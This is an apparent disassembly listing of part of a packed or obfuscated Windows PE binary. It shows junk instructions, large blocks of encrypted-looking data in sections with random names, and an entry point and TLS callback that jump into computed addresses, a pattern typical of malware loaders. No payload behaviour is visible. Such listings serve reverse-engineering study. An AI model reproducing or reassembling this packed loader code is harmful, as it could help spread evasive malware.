loc_10029A5F: ; CODE XREF: sub_100299B9+9Bj lodsd dec esi and eax, 0FFFFFFh cmp eax, 0FFFFFFh jnz short loc_10029A39 pop eax loc_10029A6E: ; CODE XREF: sub_100299B9+6Dj ; sub_100299B9+7Bj pop ebx pop ecx pop edi pop esi retn sub_100299B9 endp ; --------------------------------------------------------------------------- adc byte ptr [edx+41h], 4Dh wait mov dword ptr [edi+6634AB44h], 0F29A2A0Eh and [ebp-298EFAE5h], ebx mov [ecx+7Dh], eax jmp short loc_10029AB1 ; --------------------------------------------------------------------------- db 0B8h, 24h, 0E8h dd 0D9DE9B70h, 53935A67h, 457B7F43h, 48ABBA5Fh, 6AF7F48Eh dd 0A26B0E04h, 503D28FFh, 6B44A642h db 0B2h ; --------------------------------------------------------------------------- loc_10029AB1: ; CODE XREF: _3a14gzkz:10029A8Bj xor [edi-59h], ch jnz short near ptr loc_10029ACF+1 stc ; =============== S U B R O U T I N E ======================================= public start start proc near call sub_100299B3 add eax, 775h jmp eax start endp ; =============== S U B R O U T I N E ======================================= public TlsCallback_0 TlsCallback_0 proc near ; DATA XREF: _3a14gzkz:TlsCallbackso call sub_100299B3 add eax, 1A8Fh jmp eax TlsCallback_0 endp ; --------------------------------------------------------------------------- loc_10029ACF: ; CODE XREF: sub_100299B9+71p ; _3a14gzkz:10029AB4j call sub_10029AD8 ; --------------------------------------------------------------------------- dd 0FFFFFFFFh ; =============== S U B R O U T I N E ======================================= sub_10029AD8 proc near ; CODE XREF: _3a14gzkz:loc_10029ACFp pop esi retn sub_10029AD8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9E00h dd 256EAC24h, 0E5F05C96h, 2D1E49E6h, 3A33E366h, 3E99779Eh dd 3AF43782h, 4037F122h, 0CAE1DA26h, 0E7278535h, 8FE03037h dd 31CF072Bh, 0CBD4FB61h, 9D9C48DBh, 0DF6F9A9Eh, 3D94400Eh dd 80196727h, 43F68C79h, 0CC8D5F78h, 41071BF1h, 1470959Ah dd 897C4499h, 4B84D2F5h, 0C3F05928h, 88712A5Fh, 0E4417139h dd 0BC15D760h, 42DB4039h, 2B221ACBh, 1A723C00h, 0D9132C65h dd 0B0E7CD45h, 39108DFEh, 351D4E74h, 0E6C7B5A7h, 0D4DB7467h dd 0B0BC2645h, 2F475154h, 3AD9F12Fh, 0AA7B264Fh, 8998F77h dd 6F8A425Eh, 53BC139Ch, 0E784DDF8h, 5F5F3A6Eh, 5A4A2BCEh dd 0AC8DAD1Ah, 0CE7BE9C7h, 0F1328C21h, 5ABB2B8Eh, 2FF84F4h dd 5B89BB03h, 3AFAE965h, 61F0BEA3h, 0B6B50ECAh, 2779C226h dd 3E842EC8h, 0AA6A7C1Dh, 0B29E743Fh, 2068D02Ch, 5833EF8Ch dd 0ACCF3DE3h, 0F5172BDEh, 2CA0D81Ch, 938BE1B8h, 12407EFCh dd 581E2DAFh, 0B00CE290h, 76A5238Bh, 7A18C883h, 2F1DEEE5h dd 1992D81Eh, 52D8730Bh, 972AF2F2h, 100h dup(0) _3a14gzkz ends ; Section 9. (virtual address 0002A000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 0002A000 ; Flags 40000080: Bss Readable ; Alignment : default ; =========================================================================== ; Segment type: Uninitialized ; Segment permissions: Read y5maaiyw segment para public 'BSS' use32 assume cs:y5maaiyw ;org 1002A000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 60D8D569h, 6A9B5C38h, 0A8EC045Dh, 0BAA51D31h, 601D98C4h dd 0A0AA906h, 0B1C1D63Dh, 0ADECC33Bh, 652BB7B5h, 17E76B5Ah dd 0BBCD4090h, 0D77D1DE7h, 98B3722Ch, 0F90CDB89h, 515501ADh dd 0C8EE6505h, 7C43B185h, 462F3371h, 60E48790h, 0F360737h dd 9004EF49h, 8708A5DDh, 0AAA50916h, 87B5A9FEh, 538D0088h dd 0C21DAC0h, 2F7407C1h, 0BEB362FCh, 24A9D9A0h, 0FE417032h dd 2C1A2751h, 5675027Bh, 8F97F2FCh, 0C7F99FA1h, 0B23B0D09h dd 0E1809402h, 9D65DE42h, 7B54EC3Ch, 6367EFCh, 0F611C80h dd 719F0AE5h, 822037BAh, 0EB8BD74h, 0FC159DADh, 1479CB27h dd 0C72F7B5Ah, 0DA784619h, 0ED9807F5h, 97A587D6h, 0CFC5C4D6h dd 2EE6F339h, 43DBD08Eh, 0D24375FAh, 31D3168Ch, 0C25BF3CEh dd 106503F1h, 16188B32h, 49F3178Eh, 0D4A33738h, 48C0CECDh dd 511EC17Eh, 0A39AE37Bh, 0BF8ECFFAh, 44F2A87Eh, 0A6E7F55Fh dd 2E3EBA06h, 0EDDAC2BFh, 0CB70432Dh, 5A45DFEBh, 21C1A2FEh dd 0CFD2BF18h, 8F30E1C1h, 7E544E5h, 265A2501h, 0D77CD2Bh dd 0D1296FC5h, 31DB5093h, 621D157Dh, 64EEB53Bh, 7620C7F5h dd 0D2AE7DE1h, 0A06838C6h, 0A54E6E72h, 8DA04F07h, 727E70AAh dd 0B2EF0DA1h, 3DAF422Dh, 74D469E7h, 37C55EA8h, 0C4D71438h dd 0FD5D60CFh, 82C9731h, 6B265EF7h, 21C8CF17h, 0D1B74574h dd 0CB031977h, 894F5DA7h, 0AC32D8F7h, 36A3F754h, 0D5DC97E0h dd 72E31533h, 43D489E8h, 1E1DCC68h, 0D79A6492h, 11146CADh dd 0C368858Dh, 0D8D76B30h, 33528BF3h, 0EB809649h, 66F1511Fh dd 8159B4BCh, 3609E11Ch, 0E46BA832h, 0D41B6EF2h, 483DB889h dd 9F94EB53h, 0EF73B321h, 5ECF2181h, 8EB377FDh, 0AE2B4BE1h dd 4C83CFD3h, 557026E1h, 2605BD8Fh, 4041B90Ch, 5A7188C5h dd 701A5CCDh, 1A66DFABh, 0A2DA8DD1h, 380h dup(0) y5maaiyw ends ; Section 10. (virtual address 0002B000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0002B000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 1002B000h align 2000h _idata2 ends end start